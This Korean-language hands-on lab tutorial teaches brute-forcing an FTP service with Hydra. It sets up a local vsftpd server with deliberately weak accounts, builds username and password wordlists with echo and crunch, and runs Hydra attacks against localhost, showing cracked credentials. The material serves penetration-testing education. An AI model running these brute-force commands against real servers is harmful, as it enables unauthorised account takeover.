Hydra 를 이용한 FTP 서비스 공격

HydraBeginner
지금 연습하기

소개

이 랩에서는 다재다능한 비밀번호 크래킹 도구인 Hydra 를 사용하여 FTP 서비스에 대한 무차별 대입 공격을 수행하는 방법을 배우게 됩니다. vsftpd 를 사용하여 로컬 FTP 서버를 설정하고 보안 취약점을 시연하기 위해 약한 비밀번호를 가진 테스트 계정을 생성합니다.

이 랩은 Hydra 공격 실행, 결과 분석, 약한 인증이 FTP 서비스를 어떻게 손상시킬 수 있는지 이해하는 과정을 안내합니다. 이 실습은 제어된 환경에서 서버 구성, 공격 시뮬레이션 및 보안 평가를 다룹니다.

이것은 가이드 실험입니다. 학습과 실습을 돕기 위한 단계별 지침을 제공합니다.각 단계를 완료하고 실무 경험을 쌓기 위해 지침을 주의 깊게 따르세요. 과거 데이터에 따르면, 이것은 중급 레벨의 실험이며 완료율은 80%입니다.학습자들로부터 94%의 긍정적인 리뷰율을 받았습니다.

로컬 FTP 서버 설정

이 단계에서는 LabEx VM 환경에서 vsftpd (Very Secure FTP Daemon) 를 사용하여 로컬 FTP 서버를 설정합니다. FTP (File Transfer Protocol) 는 네트워크를 통해 클라이언트와 서버 간에 파일을 전송하는 데 사용되는 표준 네트워크 프로토콜입니다. 컴퓨터 간에 파일 전달을 처리하는 디지털 우체국과 같다고 생각하면 됩니다.

  1. 먼저 vsftpd 패키지를 설치해야 합니다. 이 명령은 패키지 목록을 업데이트하고 FTP 서버 소프트웨어를 설치합니다.
sudo apt-get update && sudo apt-get install -y vsftpd
  1. 설치 후에는 기본 구성 파일의 백업을 만드는 것이 좋습니다. 이렇게 하면 필요한 경우 항상 원래 설정을 복원할 수 있습니다.
sudo cp /etc/vsftpd.conf /etc/vsftpd.conf.bak
  1. 이제 Linux 의 간단한 텍스트 편집기인 nano 를 사용하여 구성 파일을 편집합니다. 이 파일은 FTP 서버의 동작 방식을 제어합니다.
sudo nano /etc/vsftpd.conf
  1. 구성 파일 내부에서 이러한 중요한 설정을 수정해야 합니다. 이러한 변경 사항은 다음과 같습니다.
    • 익명 액세스 비활성화 (보안을 위해)
    • 로컬 사용자 로그인 허용
    • 파일 업로드 허용
    • 사용자를 홈 디렉토리로 제한 (안전을 위해)
anonymous_enable=NO
local_enable=YES
write_enable=YES
chroot_local_user=YES
allow_writeable_chroot=YES
modify configuration

다음 명령을 실행하여 변경 사항을 확인할 수 있습니다.

grep -E "^(anonymous_enable|local_enable|write_enable|chroot_local_user|allow_writeable_chroot)=" /etc/vsftpd.conf | cat
verify configuration
  1. 이러한 변경을 수행한 후 Ctrl+O (Write Out) 를 눌러 파일을 저장한 다음 Ctrl+X 로 nano 를 종료합니다.

  2. 이제 구성 변경 사항을 적용하기 위해 vsftpd 서비스를 다시 시작해야 합니다. 이는 서버를 새 설정으로 새로 고치는 것과 같습니다.

sudo service vsftpd restart
  1. 다음으로 FTP 액세스를 위해 특별히 테스트 사용자 계정을 생성합니다. -m 플래그는 홈 디렉토리를 생성하고 -s는 기본 셸을 설정합니다.
sudo useradd -m ftpuser -s /bin/bash
sudo passwd ftpuser

메시지가 표시되면 비밀번호를 password123으로 설정합니다. 테스트 목적으로만 이 간단한 비밀번호를 사용하고 있습니다. 실제 상황에서는 항상 강력한 비밀번호를 사용해야 합니다.

  1. FTP 테스트를 위한 특수 디렉토리를 생성하고 적절한 권한을 설정해 보겠습니다. 이렇게 하면 테스트 사용자가 이 폴더의 파일에 액세스하고 수정할 수 있습니다.
sudo mkdir -p /home/ftpuser/ftp_test
sudo chown ftpuser:ftpuser /home/ftpuser/ftp_test
  1. 마지막으로 FTP 서버가 제대로 실행되고 있는지 확인해야 합니다. 이 명령은 vsftpd 서비스의 상태를 확인합니다.
sudo service vsftpd status
service status

서비스가 활성 상태 (실행 중) 임을 나타내는 출력이 표시되어야 합니다. 오류가 표시되면 구성 단계를 검토해야 할 수 있습니다.

테스트 사용자로 FTP 서버 구성

이 단계에서는 의도적으로 약한 비밀번호를 가진 테스트 계정을 생성하여 보안 테스트를 위해 FTP 서버를 준비합니다. 이 설정은 사용자가 종종 간단한 비밀번호를 선택하는 실제 시스템에서 발견되는 일반적인 보안 취약점을 모방합니다. 세 개의 테스트 사용자를 생성하고, 홈 디렉토리를 설정하고, 나중에 Hydra 가 사용할 비밀번호 목록을 생성합니다.

  1. 먼저, 약한 비밀번호를 가진 세 개의 테스트 사용자를 생성해 보겠습니다 (시연 목적으로만). 이러한 명령은 홈 디렉토리가 있는 새 시스템 사용자를 생성하고 비밀번호를 설정합니다.
sudo useradd -m ftpuser1 -s /bin/bash
echo "ftpuser1:password1" | sudo chpasswd

sudo useradd -m ftpuser2 -s /bin/bash
echo "ftpuser2:password2" | sudo chpasswd

sudo useradd -m ftpuser3 -s /bin/bash
echo "ftpuser3:password3" | sudo chpasswd
  1. 이제 각 사용자에 대한 전용 FTP 디렉토리를 생성하고 적절한 소유권을 설정합니다. 이렇게 하면 각 사용자가 FTP 를 통해 자신의 파일에만 액세스할 수 있습니다.
sudo mkdir -p /home/ftpuser1/ftp_files
sudo mkdir -p /home/ftpuser2/ftp_files
sudo mkdir -p /home/ftpuser3/ftp_files

sudo chown ftpuser1:ftpuser1 /home/ftpuser1/ftp_files
sudo chown ftpuser2:ftpuser2 /home/ftpuser2/ftp_files
sudo chown ftpuser3:ftpuser3 /home/ftpuser3/ftp_files
  1. 각 사용자의 디렉토리에 테스트 파일을 채워 넣겠습니다. 이러한 파일은 나중에 FTP 액세스가 성공했는지 확인하는 데 도움이 됩니다.
echo "This is ftpuser1's test file" | sudo tee /home/ftpuser1/ftp_files/test1.txt
echo "This is ftpuser2's test file" | sudo tee /home/ftpuser2/ftp_files/test2.txt
echo "This is ftpuser3's test file" | sudo tee /home/ftpuser3/ftp_files/test3.txt
  1. 진행하기 전에 테스트 사용자 중 한 명에 대한 FTP 액세스가 작동하는지 확인해 보겠습니다. 이 curl 명령은 FTP 자격 증명을 사용하여 파일을 다운로드하려고 시도합니다.
curl -u ftpuser1:password1 ftp://localhost/ftp_files/test1.txt

올바르게 구성된 경우 터미널에 test1.txt 의 내용이 표시됩니다.

This is ftpuser1's test file

FTP 공격을 위한 공격 목록 준비

이 단계에서는 Hydra 가 FTP 서버에 로그인을 시도하는 데 사용할 단어 목록을 준비합니다. 이러한 목록에는 Hydra 가 무차별 대입 공격 중에 체계적으로 시도할 잠재적인 사용자 이름과 비밀번호가 포함되어 있습니다. 효과적인 단어 목록을 만드는 방법을 이해하는 것은 침투 테스트에 매우 중요합니다.

  1. 먼저, 일반적인 FTP 사용자 이름을 포함하는 기본 사용자 이름 목록을 생성합니다. 이는 관리자가 변경하는 것을 잊어버리는 경우가 있는 기본 또는 자주 사용되는 계정 이름입니다.
echo -e "ftpuser1\nftpuser2\nftpuser3\nadmin\nroot\nftp\ntest\nuser\nanonymous" > ~/project/ftp_users.txt
  1. 다음으로, 일반적인 약한 비밀번호가 있는 비밀번호 목록을 생성합니다. 많은 사용자가 기억하기 쉽지만 추측하기도 쉬운 간단한 비밀번호를 설정합니다.
echo -e "password1\npassword2\npassword3\npassword123\n123456\npassword\nadmin\nroot\nftp\ntest\nqwerty\nletmein" > ~/project/ftp_passwords.txt
  1. 두 파일이 올바르게 생성되었는지 내용을 표시하여 확인해 보겠습니다. 이렇게 하면 목록에 의도한 내용이 정확히 포함되어 있는지 확인할 수 있습니다.
cat ~/project/ftp_users.txt
cat ~/project/ftp_passwords.txt
  1. 더 복잡한 비밀번호 조합을 생성하기 위해 crunch 도구를 설치합니다. 이는 실제 시스템에서 사용될 수 있는 체계적인 비밀번호 패턴을 생성하는 데 도움이 됩니다.
sudo apt-get install -y crunch
  1. 이제 crunch 를 사용하여 정확히 6 자리 숫자의 숫자 비밀번호를 생성합니다. 이는 생년월일 또는 간단한 PIN 과 같은 일반적인 숫자 전용 비밀번호를 시뮬레이션합니다.
crunch 6 6 1234567890 -o ~/project/numeric_passwords.txt
  1. 모든 비밀번호 목록을 하나의 포괄적인 파일로 결합합니다. 이 병합된 목록은 Hydra 에게 공격 중에 시도할 더 많은 비밀번호 옵션을 제공합니다.
cat ~/project/ftp_passwords.txt ~/project/numeric_passwords.txt > ~/project/combined_passwords.txt
  1. 생성한 비밀번호 항목 수를 확인합니다. 이는 무차별 대입 공격에 얼마나 걸릴지 추정하는 데 도움이 됩니다.
wc -l ~/project/combined_passwords.txt
  1. 마지막으로, 시연 목적으로 더 작은 테스트 비밀번호 파일을 생성합니다. 하위 집합을 사용하면 전체 공격을 실행하기 전에 설정이 작동하는지 확인할 수 있습니다.
head -n 50 ~/project/combined_passwords.txt > ~/project/test_passwords.txt

FTP 서비스에 대한 Hydra 공격 실행

이 단계에서는 Hydra 를 사용하여 앞서 구성한 로컬 FTP 서버에 대한 무차별 대입 공격을 수행합니다. Hydra 는 FTP 를 포함한 많은 프로토콜을 지원하는 인기 있는 비밀번호 크래킹 도구입니다. 무차별 대입 공격은 올바른 비밀번호가 발견될 때까지 가능한 모든 비밀번호 조합을 체계적으로 시도합니다. 이는 약한 비밀번호가 이러한 공격에 취약한 이유를 보여줍니다.

  1. 먼저, Hydra 의 도움말 메뉴를 확인하여 설치되었는지 확인합니다. 이렇게 하면 도구를 사용할 준비가 되었는지 확인하고 사용 가능한 옵션을 표시합니다.
hydra -h
  1. 생성한 사용자 이름 및 비밀번호 목록을 사용하여 기본 Hydra 공격을 실행합니다. -L은 사용자 이름 목록을 지정하고 -P는 비밀번호 목록을 지정합니다. Hydra 는 localhost 에서 실행 중인 FTP 서비스에 대해 각 조합을 시도합니다.
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
hydra attack
  1. 공격 진행 상황에 대한 자세한 출력을 보려면 -vV 플래그를 추가합니다. 이 상세 모드는 Hydra 가 공격 중에 무엇을 하는지 이해하는 데 도움이 됩니다.
hydra -vV -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost
  1. 전체 비밀번호 목록으로 더 포괄적인 공격을 실행합니다 (이 작업은 더 오래 걸립니다). -t 4 옵션은 서버에 과부하가 걸리지 않도록 하면서도 좋은 속도를 유지하기 위해 4 개의 병렬 연결로 제한합니다.
hydra -L ~/project/ftp_users.txt -P ~/project/combined_passwords.txt ftp://localhost -t 4
  1. Hydra 가 유효한 자격 증명을 찾으면 출력에 표시됩니다. 이는 FTP 서버에 성공적으로 인증된 사용자 이름/비밀번호 조합을 보여줍니다. 성공적인 출력 예시:
[21][ftp] host: 127.0.0.1   login: ftpuser1   password: password1
  1. 나중에 분석할 수 있도록 결과를 파일에 저장합니다. -o 옵션은 출력을 화면에 표시하는 대신 파일에 씁니다.
hydra -L ~/project/ftp_users.txt -P ~/project/test_passwords.txt ftp://localhost -o ~/project/hydra_results.txt
  1. 결과를 확인하여 자격 증명이 발견되었는지 확인합니다. 이를 통해 공격이 완료된 후 결과를 검토할 수 있습니다.
cat ~/project/hydra_results.txt

요약

이 랩에서는 vsftpd 를 사용하여 로컬 FTP 서버를 구성하는 방법을 배웠습니다. 여기에는 패키지 설치, 로컬 사용자 액세스를 위한 구성 조정, 약한 비밀번호를 가진 테스트 계정 생성이 포함됩니다. 이 과정에는 vsftpd.conf 설정 수정, 적절한 디렉토리 권한 설정, 서비스 기능 확인이 포함되었습니다.

또한 예측 가능한 자격 증명을 가진 여러 계정을 생성하여 Hydra 공격을 위한 테스트 환경을 준비했습니다. 이 설정은 현실적인 보안 테스트 조건을 유지하면서 무차별 대입 기술을 연습할 수 있는 제어된 시나리오를 제공합니다.